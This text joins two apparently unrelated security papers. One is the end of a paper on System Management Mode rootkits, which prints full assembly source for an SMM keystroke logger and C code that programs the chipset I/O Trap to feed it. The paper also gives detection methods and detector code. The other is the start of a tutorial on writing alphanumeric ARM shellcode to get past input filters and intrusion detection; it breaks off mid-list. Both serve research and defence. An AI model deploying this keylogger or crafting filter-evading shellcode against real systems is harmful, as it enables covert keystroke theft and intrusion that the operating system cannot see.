|///////// SMM Save Sate area ///////////|

+ SMBASE + 0xFF00 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

|

| SMI Handler entry point |

| SMBASE + 0x8000 + 0x300 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| SMI Handler entry point |

+ SMBASE + 0x8000 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

|

|

| SMRAM start |

+ SMBASE + 0x300 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| SMRAM start |

+ SMBASE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

Instead of 0x300, BIOS may choose any offset to use to increment SMBASE for all processors. There is an easy way to determine it. SMM Save State Map should contain SMM Revision Identifier Field at 0x7EFC offset of SMBASE+0x8000 which should have the same value for each processor that entered SMM. For example, SMM Revision ID may be 0x30100. SMI handler can search for the same value of SMM Revision ID in SMRAM. An address of the next SMM Revision ID field minus address of the current SMM Revision ID field gives the offset that should be added to SMBASE to calculate SMBASE of the next processor.

Below we demonstrate how SMM keylogger handler provided in the previous section could have been modified to support dual processor. The code below checks if I/O State Field has value matching to the correct I/O Trap for each processor and, if so, updates EAX of this processor in SMM Save State Map:

;

; update saved EAX registers in SMM state save maps of 2 processors ;

mov esi, SMBASE

lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]

cmp ecx, IOSMI_IN_60_BYTE

jne _skip_proc0:

mov byte ptr [esi + SMM_MAP_EAX], al

_skip_proc0:

lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO + 0x300]

cmp ecx, IOSMI_IN_60_BYTE

jne _skip_proc1:

mov byte ptr [esi + SMM_MAP_EAX + 0x300], al

_skip_proc1:

..

‑‑[ 4 ‑ SUGGESTED DETECTION METHODS

‑‑[ 4.1 ‑ Detecting I/O Trap based SMM keylogger

Generally, as pointed in previous research, Operating System does not have access to SMRAM as soon as it's locked by BIOS firmware. So detecting malicious code inside SMRAM becomes a challenging task for the OS or anti‑virus software.

In many cases, however, it is not necessary to inspect SMRAM to detect the presence of SMM rootkit. Let's explain this thesis on keylogger example described earlier.

To be able to intercept pressed keystrokes SMM keystroke logger has to modify hardware configuration in a certain way. In case of using I/O Trap method SMM keylogger has to enable I/O Trap to trap on IN/OUT instructions to keyboard controller ports 0x60 and 0x64.

In case of using I/O APIC technique SMM keylogger has to change I/O APIC Redirection Table to program SMI# as a delivery mode of hardware interrupt IRQ #01, as pointed in [smm_rkt].

As usual we'll focus on I/O Trap based SMM keylogger. If there is no legitimate port 0x60/0x64 emulation used and I/O Trap is enabled to trap on keyboard ports then this is a clear indication of SMM keylogger. So to detect this keylogger we need to detect that I/O Trap has been programmed to trap on access to keyboard controller I/O ports 0x60 and 0x64.

For example, the snippet below detects that I/O Trap is programmed to trap on reads from port 0x60:

pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);

// keyboard controller port 0x60 + 1 enable I/O Trap

if(0x61 == (*(DWORD*)pIOTR0_LO)) {

DbgPrint("SMM keylogger detected.

Found enabled I/O Trap on keyboard port 60h\n");

}

If I/O Trap is detected it's trivial to disable it. We simply need to write 0x0 to IOTR0 register.

‑‑[ 4.2 ‑ General timing based detection

Another possible method to detect I/O Trap based SMM keylogger is to measure timing difference between IN/OUT instructions that access keyboard controller ports vs. other I/O ports. As access to some or all keyboard ports is trapped by SMI handler then it will take (much) longer to return results of IN/OUT instructions. For example, profiling "IN 60h" could be:

RDTSC

IN AL, 60H

RDTSC

It should be noted that all variants of IN instruction should be profiled like "IN AL, 60H", "IN AX, DX" etc., because I/O Trap may be programmed to intercept only certain variants.

‑‑[ 5 ‑ CONCLUSION

This work described details of how SMI handlers are implemented in BIOS system firmware and how to disassemble and modify them. The authors hope that this paper added some clarity to how malware could use SMI handlers to add rootkit functionality in SMM and, more importantly, how to detect such stealthy malware.

It would be naive to assume that SMM is secure as long as BIOS firmware "locks down" SMM memory by setting D_LCK bit in SMRAMC register (original attack from [smm]). Other vulnerabilities already found in SMM protections as demonstrated in [xen_0wn].

SMI handlers may also change from BIOS to BIOS, may be updated with the rest of BIOS firmware using BIOS update mechanism available for all motherboards, may be extended with lots of new features (even with new security features [xen_0wn]). Migration to (U)EFI will simplify EFI firmware development and may cause even more functionality to be added to EFI SMI handlers in SMM. Additionally, SMI handlers should interact with unprotected OS and drivers. The bottom line is that we believe the main danger will come from software vulnerabilities in SMI handlers' code similarly to vulnerabilities in OS kernel, drivers and applications. BIOS vendors should start paying better attention to what they are putting into the SMM.

‑‑[ 6 ‑ SOURCE CODE

‑‑[ 6.1 ‑ System Management Mode keylogger that uses I/O Trap mechanism

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;

;; I/O Trap based SMI keystroke logger

;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;

; I/O Trap registers in Root Complex Base Address (RCBA)

;

IO_TRAP_IOTR0_REGequ FED1DE80h ; I/O Trap Register 0 = RCBA + 1E80h IO_TRAP_TRSR_REGequ FED1DE00h ; Trap Status Register = RCBA + 1E00h IO_TRAP_TRCR_REGequ FED1DE10h ; Trapped Cycle Register = RCBA + 1E10h

KBRD_DATA_PORT equ 60h

DST_BUF_PHYSADDR equ 20000h ; any physical address read later SEG_4Gequ ? ; depends on BIOS

;

; IO_SMI bit, I/O Port = 0x60

; I/O Type = IN DX

; I/O Length = 1

; should all be checked separately

;

IOSMI_IN_60_BYTE equ 00600013h

;

; SMM Save State Map fields

;

SMM_MAP_IO_STATE_INFO equ FFA4h

SMM_MAP_EAX equ FFD0h

;

; we need to load DS with index of 4G 0‑based data segment in GDT ; to be able to access any MMIO

; or physical addresses for logging scan codes

;

push ds

push SEG_4G

pop ds

;

; clear I/O Trap status bit

;

mov eax, IO_TRAP_TRSR_REG

mov dword ptr [eax], 1

;

; check TRCR if it's IO read or write

; we trap only reads here

;

mov eax, IO_TRAP_TRCR_REG

mov ebx, dword ptr [eax]

bswap ebx

and bh, 0xf

and bl, 0x1

jz _smi_handled

;

; temporarily disable I/O Trap

;

mov eax, IO_TRAP_IOTR0_REG

mov dword ptr [eax], 0

;;;;;;;;;;;

; keystroke logging goes here

;;;;;;;;;;;

pusha

;

; verify that this is IO_SMI due to read to 0x60 port

;

mov esi, SMBASE

mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]

cmp ecx, IOSMI_IN_60_BYTE

jnz _not_io_smi

;

; read scan code from keyboard controller port 0x60

;

xor ax, ax

in al, KBRD_DATA_PORT

;

; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address) ; the first dword is a number of scan code bytes saved in the buffer ;

mov edi, DST_BUF_PHYSADDR

mov ecx, dword ptr [edi]

push edi

lea edi, dword ptr [edi + ecx + 4]

mov byte ptr [edi], al

;

; increment number of scan code bytes saved in the buffer

;

inc ecx

pop edi

mov dword ptr [edi], ecx

;

; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX) ; with scan code to be returned as a result of trapped IN instruction ;

mov byte ptr [esi + SMM_MAP_EAX], al

_not_io_smi:

popa

;;;;;;;;;;;

;

; re‑enable I/O Trap on read from port 0x60

;

mov eax, IO_TRAP_IOTR0_REG

mov ebx, KBRD_DATA_PORT+1

mov dword ptr [eax], ebx

;

; return 0 indicating that SMI was handled

;

_smi_handled:

pop ds

mov eax, 0

retf

‑‑[ 6.2 ‑ Programming I/O Trap

#define LPC_RCBA_REG0xF0

#define RCBA_IOTR0_LO0x1E80 // I/O Trap 0 Register (IOTR0) low dword

#define RCBA_IOTR0_HI0x1E84 // I/O Trap 0 Register (IOTR0) high dword

#define pci_addr(bus,dev,fn,reg) \

(0x80000000 | \

((bus & 0xff) << 16) | \

((dev & 0x1f) << 11) | \

((fn & 7) << 8) | \

(reg & 0xfc))

void _set_keystroke_io_trap()

{

unsigned long lpc_rcba_addr;

unsigned long rcba_reg;

void *rcba;

DWORD * pIOTR0_LO;

DWORD * pIOTR0_HI;

//

// Read the Root Complex Base Address Register (RCBA)

//

// LPC device in ICH, B:D:F: = 0:31:0

lpc_rcba_addr = pci_addr(0, 31, 0, LPC_RCBA_REG);

_outpd(0xcf8, lpc_rcba_addr);

rcba_reg = _inpd(0xcfc);

pa.LowPart = rcba_reg & 0xffffc000;

DbgPrint("RCBA base physical address: 0x%08x\n", pa.LowPart);

// 0x2000 is enough to access I/O Trap range

rcba = MmMapIoSpace(pa, 0x2000, MmCached);

//

// Program I/O Trap to trap on every read from

// keyboard controller data port 0x60

//

pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);

pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

// trap on port read + all byte enables

*(DWORD*)pIOTR0_HI = 0x100f0;

// keyboard controller port 0x60 + 1 enable I/O Trap

*(DWORD*)pIOTR0_LO = 0x61;

DbgPrint("IOTR0 = 0x%08x%08x at 0x%08x\n", *pIOTR0_HI, *pIOTR0_LO, (pa.LowPart + RCBA_IOTR0_LO));

}

‑‑[ 6.3 ‑ Detecting I/O Trap SMI keystroke logger

void _detect_keystroke_io_trap()

{

unsigned long lpc_rcba_addr;

unsigned long rcba_reg;

void *rcba;

DWORD * pIOTR0_LO;

DWORD * pIOTR0_HI;

//

// Read the Root Complex Base Address Register (RCBA)

//

// LPC device in ICH, B:D:F: = 0:31:0

lpc_rcba_addr = pci_addr(0, 31, 0, LPC_RCBA_REG);

_outpd(0xcf8, lpc_rcba_addr);

rcba_reg = _inpd(0xcfc);

pa.LowPart = rcba_reg & 0xffffc000;

// 0x2000 is enough to access I/O Trap range

rcba = MmMapIoSpace(pa, 0x2000, MmCached);

pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);

pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

// keyboard controller port 0x60 + 1 enable I/O Trap

if(0x61 == (*(DWORD*)pIOTR0_LO))

{

DbgPrint("SMM keylogger detected.

Found enabled I/O Trap on keyboard data port 60h\n"); // Disable I/O Trap SMM keylogger

// clear low dword of IOTRn register

*(DWORD*)pIOTR0_LO = 0;

}

}

‑‑[ 7 ‑ REFERENCES

[smm_rkt]A New Breed of Rootkit: The System Management Mode (SMM) Rootkit Shawn Embleton, Sherri Sparks, Cliff Zou. Black Hat USA 2008 http://www.eecs.ucf.edu/~czou/research/SMM‑Rootkits‑Securecom08.pdf

http://www.tucancunix.net/ceh/bhusa/BHUSA08/speakers/Embleton_Sparks_SMM_Rookits/

BH_US_08_Embleton_Sparks_SMM_Rootkits_WhitePaper.pdf

[smm]Using CPU System Management Mode to Circumvent Operating System Security Functions. Loic Duflot, Daniel Etiemble, Olivier Grumelard. CanSecWest 2006 http://www.ssi.gouv.fr/fr/sciences/fichiers/lti/cansecwest2006‑duflot‑paper.pdf

[phrack_smm]Using SMM for 'Other Purposes'.

BSDaemon, coideloko, and D0nand0n. Phrack Vol 0x0C, Issue 0x41 http://www.phrack.org/issues.html?issue=65

[efi_hack]Hacking the Extensible Firmware Interface Firmware Interface John Heasman. Black Hat USA 2007 http://www.ngssoftware.com/research/papers/BH‑VEGAS‑07‑Heasman.pdf

[ich]Intel I/O Controller Hub 10 (ICH10) Family Datasheet http://www.intel.com/assets/pdf/datasheet/319973.pdf

[intel_man]Intel IA‑32 Architecture Software Developer's Manual http://www.intel.com/products/processor/manuals/

[amd_man]BIOS and Kernel's Developer's Guide for AMD Athlon 64 and AMD Opteron Processors Advanced Micro Devices, Inc. http://www.amd.com/us‑en/assets/content_type/white_papers_and_tech_docs/26094.PDF

[bios_disasm]BIOS Disassembly Ninjutsu Uncovered or

Pinczakko's Guide to Award BIOS Reverse Engineering

Darmawan M Salihun aka Pinczakko http://www.geocities.com/mamanzip/Articles/Award_Bios_RE/Award_Bios_RE_guide.html

http://www.geocities.com/mamanzip/Articles/award_bios_patching/award_bios_patching.html

[ami_mod]Performing AMI BIOS Mods Discussion Thread // The Rebels Heaven

http://www.rebelshavenforum.com/sis‑bin/ultimatebb.cgi?ubb=get_topic&f=52&t=000049

[xen_0wn]Preventing and Detecting Xen Hypervisor Subversions Joanna Rutkowska & Rafal Wojtczuk. Black Hat USA 2008 http://invisiblethingslab.com/bh08/part2‑full.pdf

[ami_usb]USB Support for AMIBIOS8

American Megatrends, Inc. http://www.securitytechnet.com/resource/hot‑topic/homenet/AMIBIOS8_USB_Whitepaper.pdf

[smm_cache]Getting into SMRAM: SMM Reloaded

Loic Duflot et al. CanSecWest 2009 http://cansecwest.com/csw09/csw09‑duflot.pdf

Attacking SMM Memory via IntelR CPU Cache Poisoning

Rafal Wojtczuk and Joanna Rutkowska http://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf

Alphanumeric RISC ARM Shellcode

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Alphanumeric RISC ARM Shellcode ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑=[ Yves Younan (yyounan@fort‑knox.org) / ace (ace@nologin.org]=‑‑=| |=‑‑‑‑‑‑‑‑‑‑=[ Pieter Philippaerts (pieter@mentalis.org) ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0.‑ Introduction

1.‑ The ARM architecture

1.0 ‑ The ARM Processor

1.1 ‑ Coprocessors

1.2 ‑ Addressing Modes

1.3 ‑ Conditional Execution

1.4 ‑ Example Instructions

1.5 ‑ The Thumb Instruction Set

2.‑ Alphanumeric shellcode

2.0 ‑ Alphanumeric bit patterns

2.1 ‑ Addressing modes

2.2 ‑ Conditional Execution

2.3 ‑ The Instruction List

2.4 ‑ Getting a known value in a register 2.5 ‑ Writing to R0‑R2

2.6 ‑ Self‑modifying Code

2.7 ‑ The Instruction Cache

2.8 ‑ Going to Thumb Mode

2.9 ‑ Going to ARM mode

3.‑ Conclusion

4.‑ Acknowledgements

5.‑ References

A.‑ Shellcode Appendix

A.0 ‑ Writable Memory

A.1 ‑ Example Shellcode

A.2 ‑ Resulting Bytes

‑‑[ 0.‑ Introduction

With the sudden explosion of mobile devices, the ARM processor has become one of the most widespread CPU cores in the world. ARM processors offer a good trade‑off between power usage and processing power, which makes it an excellent candidate for mobile and embedded devices. Most mobile phones and personal digital assistants feature an ARM processor.

Only recently, however, these devices have become powerful enough to let users connect over the internet to various services, and to share information like we are used to on desktop PCs. Unfortunately, this introduces a number of security risks.

Like PCs, native ARM applications are susceptible to attacks such as buffer overflows and other improper input validation abuse. Since up till recently only fully featured desktop computers were powerful enough to connect to the internet and disseminate information in a ubiquitous manner, most attacks have focussed on the dominant desktop processor, which is the x86 processor.

Given the increased connectivity of ARM‑based devices, and given the potential for misuse of these devices (for instance, by making a hacked phone call commercial numbers), attacks on these devices will become much more common than is now the case.

A typical hurdle for exploit writers, is that the shellcode has to pass one or more filtering methods before reaching the vulnerable buffer. A filtering method is a method that does some simple input validation, for instance by stringently checking that input matches a particular predefined pattern. A popular regular expression for example is [a‑zA‑Z0‑9] (possibly extended with "space"). Intrusion detection systems are also adding more checks to detect particular patterns of op codes to detect attacks against applications.

For educational purposes, we describe in this article how to write alphanumeric shellcode for ARM. This is important, because alphanumeric strings typically pass more of these validation checks and tend to survive more data transformations (such as conversions from one encoding to another) than non‑alphanumeric shellcode. Writing alphanumeric shellcode was not considered easily doable on RISC architectures, which use 4 byte instructions.

When we discuss the bits in a byte we will use the following representation: the most significant bit is bit 7 and the least significant bit is bit 0 in our discussion. The first byte of an instruction is bit 31 to 24 and the last byte is bit 7 to 0.

‑‑[ 1.‑ The ARM architecture

‑‑‑‑[ 1.0 The ARM Processor

The ARM architecture is a 32‑bit RISC architecture with 16 general purpose registers available to regular programs and a status register (actually there are more general purpose registers and status registers but those are only used in exception modes and not important for our discussion). Every instruction is 4 bytes long so we must ensure that all 4 of these bytes are alphanumeric. This is very different from the x86 architecture which has variable length instructions. As a result, getting instructions to be completely alphanumeric is harder on ARM than on x86.

Registers R0 to R12 are real general purpose registers that do not have a dedicated purpose. Register R13 is used as a stack pointer and can also be referred to as register SP. Register R14 is used as the link register and is also referred to as LR. It contains the return address for functions and exceptions. Register R15 contains the current program counter and is also referred to as PC. Unlike x86 architectures, we can directly read and write this register. Reading from this register will return the currently executing instruction + 8 bytes in ARM mode or the current instruction + 4 bytes in Thumb mode (see section 1.5). Writing to this register causes execution to continue at this address.

A[31:0]

_________ /\ _________

| _____ | ALE || ABE |_____ |

| | || | || | || | |

| | \/ V || V \/ |i|

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |n|

| | | Address Register | |c|

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |r|

| | ^ || |e|

| | / \ || |m|

| | |P| \/ |e|

| | |C| +‑‑‑‑‑‑‑‑‑‑‑+ |n|

| |____ | | | Address |__|t|

| ____ | |b| |Incrementer|__ e| +‑‑‑‑‑‑‑‑‑‑‑+ | | || |u| +‑‑‑‑‑‑‑‑‑‑‑+ |r| | Scan | | | \/ |s| | | | Control |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |b| +‑‑‑‑‑‑‑‑‑‑‑+

| | | Register Bank | |u| +‑‑‑‑‑‑‑‑‑‑‑+<‑ DBGRQI | | |(31x32‑bit registers)| |s| | |<‑ BREAKPTI | | | (6 status registers)|<‑‑‑‑+ | |‑> DBGACK

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ ECLK

|A| | | | | nEXEC

|L| | | | ___ | ISYNC

|U| | | +‑‑‑‑‑‑‑‑>| | | BL[3:0]

| | | | +‑‑‑‑‑‑‑‑‑‑+ |B| | |<‑ APE

|b| | | | 32x8 | | | | |<‑ MCLK

|u| |A|<=>|Multiplier|<=>|b| | |<‑ nWAIT |s| | | +‑‑‑‑‑‑‑‑‑‑+ |u| | |‑> nRW | | |b| ___________|s| |Instruction|‑> MAS[1:0]

| | |u| | _________ | | Decoder |<‑ nIRQ

| | |s| || | | | & |nFIQ

| | | | \/ | | Control |<‑ nRESET

| | | | +‑‑‑‑‑‑‑+ | | Logic |<‑ ABORT

| | | | |Barrel | | | | |‑> nTRANS

| | | | |Shifter| | | | |‑> nMREQ

| | | | +‑‑‑‑‑‑‑+ | | nOPC

| | \ / || | | SEQ

| | v \/ | | | |LOCK

| | ‑‑‑‑‑‑‑‑‑‑‑‑ | | nCPI

| | \32‑bit ALU/ | | | |<‑ CPA

| | ‑‑‑‑‑‑‑‑‑‑ | | CPB

| |__________|| | | nM[4:0]

|_____________| | | TBE

_____________________| | TBIT

|______________________| HIGHZ

|| /\

\/ ||

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑

|Write Data Register| | Instruction pipeline |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | & Read Data Register |

| ^ ^ || |& Thumb Instruction Decoder|

v | | || +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nENOUT|nENIN || /\

| ||___________________

DBE |______________________|

||

\/

D[31:0]

There are many versions of the ARM processor, with version 6 adding a large amount of new instructions. In this paper we try to remain as broad as possible: our alphanumeric ARM shellcode should work on all versions of the ARM processor. To this end, we will drop all instructions that require a specific version of a processor. However, we clearly note which instructions are dropped because they are not alphanumeric and which instructions are dropped because of compatibility constraints. This allows a shellcode writer who only needs compatibility with a specific processor version to take advantage of the extra instructions that may be available in that processor.

‑‑‑‑[ 1.1 Coprocessors

ARM processors can be extended with a number of coprocessors to perform non‑standard calculations and to avoid having to do these calculations in software. ARM supports up to 16 coprocessors, each of which has a unique identification number. Some processors might need more than one identification number, in order to accommodate large instruction sets. Coprocessors are available for memory management, floating point operations, debugging, media, cryptography, ...

When an ARM processor encounters an instruction it cannot process, it sends the instruction out on the coprocessor bus. If a coprocessor recognizes the instruction, it can execute it and respond to the main processor. If none of the coprocessors respond, an 'illegal instruction' exception is raised.

‑‑‑‑[ 1.2 Addressing Modes

ARM has different addressing modes. We'll briefly discuss the different addressing modes which are useful for writing our shellcode.

‑‑‑‑[ 1.2.0 Addressing modes for data processing

Most instructions will look like this: <opcode>{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

For example:

ADDEQ r0, r1, #20

The shifter_operand is the third argument to an instruction. It is 12 bits large and can be one of the following 11 possibilities. When a <shift_imm> is specified below, this is an immediate that is 4 bits large, meaning that it can be any value in the range of 0 to 31.

1. #immediate An immediate of 8 bits can be used as shifter operand. The 8 bits immediate can optionally be rotated right by a shift_imm.

2. <Rm> A register can be used as an argument.

3. <Rm>, LSL #<shift_imm> A register, which is logically shifted left a shift_imm.

4. <Rm>, LSL <Rs> A register Rm is used as argument that is shifted left by a second register Rs.

5. <Rm>, LSR #<shift_imm> A register, which is logically shifted right by a shift_imm.

6. <Rm>, LSR <Rs> A register Rm is used as argument that is shifted right by a second register Rs.

7. <Rm>, ASR #<shift_imm> A register, which is arithmetically shifted right by a shift_imm.

8. <Rm>, ASR <Rs> A register, which is arithmetically shifted right by a register.

9. <Rm>, ROR #<shift_imm> A register, which is rotated right by a shift_imm.

10. <Rm>, ROR <Rs> A register, which is rotated right by a register. 11. <Rm>, RRX A register which is rotated right by one bit, with the carry flag replacing the free bit. The carry flag is then replaced with the bit which was rotated out.

‑‑‑‑[ 1.2.1 Addressing modes for load/store word or unsigned byte

This is the general syntax for a load or store instruction: LDR{<cond>}{B}{T} <Rd>, addressing_mode

For example:

LDRPLB r3, [r3, #‑48]

Where addressing_mode is one of the following 6 possibilities. For the loads and stores with translation (e.g. LDRBT), only the last 3 addressing modes are possible. If an exclamation mark is specified at the end of the first 3 addressing modes (e.g. for addressing mode 1, [<Rn>, #+/‑<imm_12>]!), then the calculated address is written back to Rn.

1. [<Rn>, #+/‑<imm_12>]<!> Rn is the base address of the memory location where Rd will be stored. Optionally a 12 bit immediate can be used as offset. This offset is then added to the base address to calculate the address to write to.

2. [<Rn>, +/‑<Rm]<!> Rn is the base address of the memory location where Rd will be stored and Rm will be used as offset for Rn. 3. [<Rn>, +/‑<Rm>, <shift> #<shift_imm>]<!> Rn is the base address, with Rm as offset. The Rm register is shifted by applying the <shift> operation with a <shift_imm> as argument. <shift> is one of LSL, LSR, ASR, ROR or RRX.

The following three addressing modes are essentially the same as the above 3 addressing modes, except that they are post‑indexed. That means that Rn is used as the memory location for the load or store. The calculation is done afterwards and written back into Rn.

4. [<Rn>], #+/‑<imm_12>

5. [<Rn>], +/‑<Rm>

6. [<Rn>], +/‑<Rm>, <shift> #<shift_imm>

‑‑‑‑[ 1.2.2 Addressing modes for load/store multiple

The general instruction syntax for multiple loads and stores looks like this:

LDM{<cond>}<addressing_mode> <Rn>{!}, <registers>{^} For example:

LDMPLFA r5!, {r0, r1, r2, r6, r8, lr}

Addressing modes are one of the following 4 possibilities:

1. IA ‑ Increment after In this addressing mode, Rn will be used as a base address and the first memory location to read or write from. The subsequent addresses will be calculated by incrementing the previous address with 4.

2. IB ‑ Increment before In this addressing mode, Rn will be used as the base address. The first memory location to read or write from is the base address + 4. Subsequent addresses will also be calculated by incrementing the previous address with 4.

3. DA ‑ Decrement after Rn is used as the base address, from that register, the amount of registers multiplied by 4 is subtracted from this base address. Then 4 is added to this address. This is used as the first memory location to read or write from. Subsequent addresses are calculated by incrementing the previous address with 4.

4. DB ‑ Decrement before Rn is used as the base address, from that register, the amount of registers multiplied by 4 is subtracted from this base address. This is used as the first memory location to read or write from. Subsequent addresses are calculated by incrementing the previous address with 4.

‑‑‑‑[ 1.3 Conditional Execution

One of the features of the ARM processor is that it supports conditional execution of instructions. This means that the programmer can choose whether instructions will be executed or not, depending on the value of one of the different status flags. This has practical use to write, for instance, short if structures in a more compact manner. Almost all ARM instructions support conditional execution.

The conditional execution of an instruction is represented by adding a suffix to the name of the instruction that denotes in which circumstances it will be executed. Without this suffix, the instruction will always be executed.

As a short example, consider the following C fragment:

if (err != 0)

printf("An error has occurred! Errorcode = %i\n", err); else

printf("Everything is ok!\n");

GCC compiles the above code to:

cmp r1, #0

beq .L4

ldr r0, .L9

bl printf

b .L8

.L4:

ldr r0, .L9+4

bl puts

.L8:

With conditional execution, it could be rewritten as:

cmp r1, #0

ldrne r0, .L9

blne printf

ldreq r0, .L9+4

bleq puts

The 'ne' suffix means that the instruction will only be executed if the contents of, in this case, R1 is not equal to 0. Similarly, the 'eq' suffix means that the instructions will be executed if the contents of R1 is equal to 0.

‑‑‑‑[ 1.4 Example Instructions

ARM instructions are grouped into a number of categories, and each category has a similar bit layout. For illustration purposes, we will list and discuss some of these groups here. This list is not meant to be exhaustive or complete.

The first group of instructions are called 'data processing instructions'. This group covers a broad range of operations, which includes basic arithmetic and bitwise operations. Data processing instructions can be called with two registers as operands, or with a register and an immediate value. An example of each of these options is show below.

31 28 27 26 25 24 21 20 19 16 15 12 11 7 6 5 4 3 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑+‑

|cond | 0| 0| 0|opcode| S| Rn | Rd |shift amount|shift|0| Rm|

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑+‑

Example: SUBPL r6, pc, r5, ror #2

0101 0 0 0 0010 0 1111 0110 00010 11 0 0101

31 28 27 26 25 24 21 20 19 16 15 12 11 8 7 0

+‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑‑+‑‑‑‑‑‑+‑‑‑‑‑

| cond | 0| 0| 1|opcode| S| Rn | Rd |rotate| immediate |

+‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑‑+‑‑‑‑‑‑+‑‑‑‑‑

Example: SUBPL r3, r1, #56

0101 0 0 1 0010 0 0001 0011 0000 00111000

A second set of important instructions, are the instructions used to load bytes from the memory into registers, and to store the result of calculations back into the memory. In our shellcode, we will typically call them with an immediate offset as operand.

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

|cond | 0| 1| 0| P| U| W| B| L| Rn | Rd | immediate |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

Example: LDRMIB r3, [pc, #‑48]

0100 0 1 0 1 0 1 0 1 1111 0011 000000110000

An interesting alternative to loading and storing registers one at a time, is to use the 'load/store multiple' instructions. The instructions in this group all load or store multiple registers at once. Bits 15 to 0 hold which registers will be operated on.

31 28 27 26 25 24 23 22 21 20 19 16 15 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

|cond | 1| 0| 0| P| U| S| W| L| Rn | register list |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

Example: STMMIFD r5, {r0, r3, r4, r6, r8, lr}^ 0100 1 0 0 1 0 1 0 0 0101 0100000101011001

The groups described in this section are only a small subset of the different instruction categories. However, these four groups are the most important ones in the context of this article.

‑‑‑‑[ 1.5 The Thumb Instruction Set

Thumb mode is a mode in which the ARM processor can be set by changing the T bit of the CPSR register to 1. In this mode, the processor will use 16 bit instructions, which allows for better code density. Only T variants of the ARM processor support this mode (e.g. ARM4T), however as of ARMv6 Thumb support is mandatory. Instructions executed in 32 bit mode are called ARM instructions, while instructions executed in 16 bit mode are called Thumb instructions. Since instructions are only 2 bytes large in Thumb mode, it is easier to satisfy the alphanumeric constraints for instructions. To this end, we discuss how to get into Thumb mode from ARM mode in our shellcode. While our shellcode can run with only ARM instructions, writing code in Thumb mode is more convenient and smaller, resulting in less instructions and more compact shellcode. For programs already running in Thumb mode, we discuss a way of going back to ARM mode. Unlike ARM instructions, Thumb instructions do not support conditional execution.

Given the fact that we can easily switch from ARM to Thumb and back and that ARM mode can do everything that we need, even if no Thumb mode is available, we achieve the broadest possible compatibility in our shellcode.

‑‑[ 2.‑ Alphanumeric shellcode

‑‑‑‑[ 2.0 Alphanumeric bit patterns

A common problem for exploit writers is that their shellcode has to survive one or more byte transformations, before triggering the actual buffer overflow. These transformations could for instance be text encoding conversions, but could also be related to parsing or input validation. In most cases, alphanumeric bytes are likely to get through unmodified. Therefore, having shellcode with only alphanumeric instructions is sometimes necessary and often preferred.

An alphanumeric instruction is an instruction where each of the four bytes of the instruction is either an upper or lower case letter, or a number. In particular, the bit patterns of these bytes must always conform to the following constraints:

‑ Bit 7 must be set to 0

‑ Bit 6 or 5 must be set to 1

‑ If bit 5 is set, but bit 6 isn't, then bit 4 must also be set

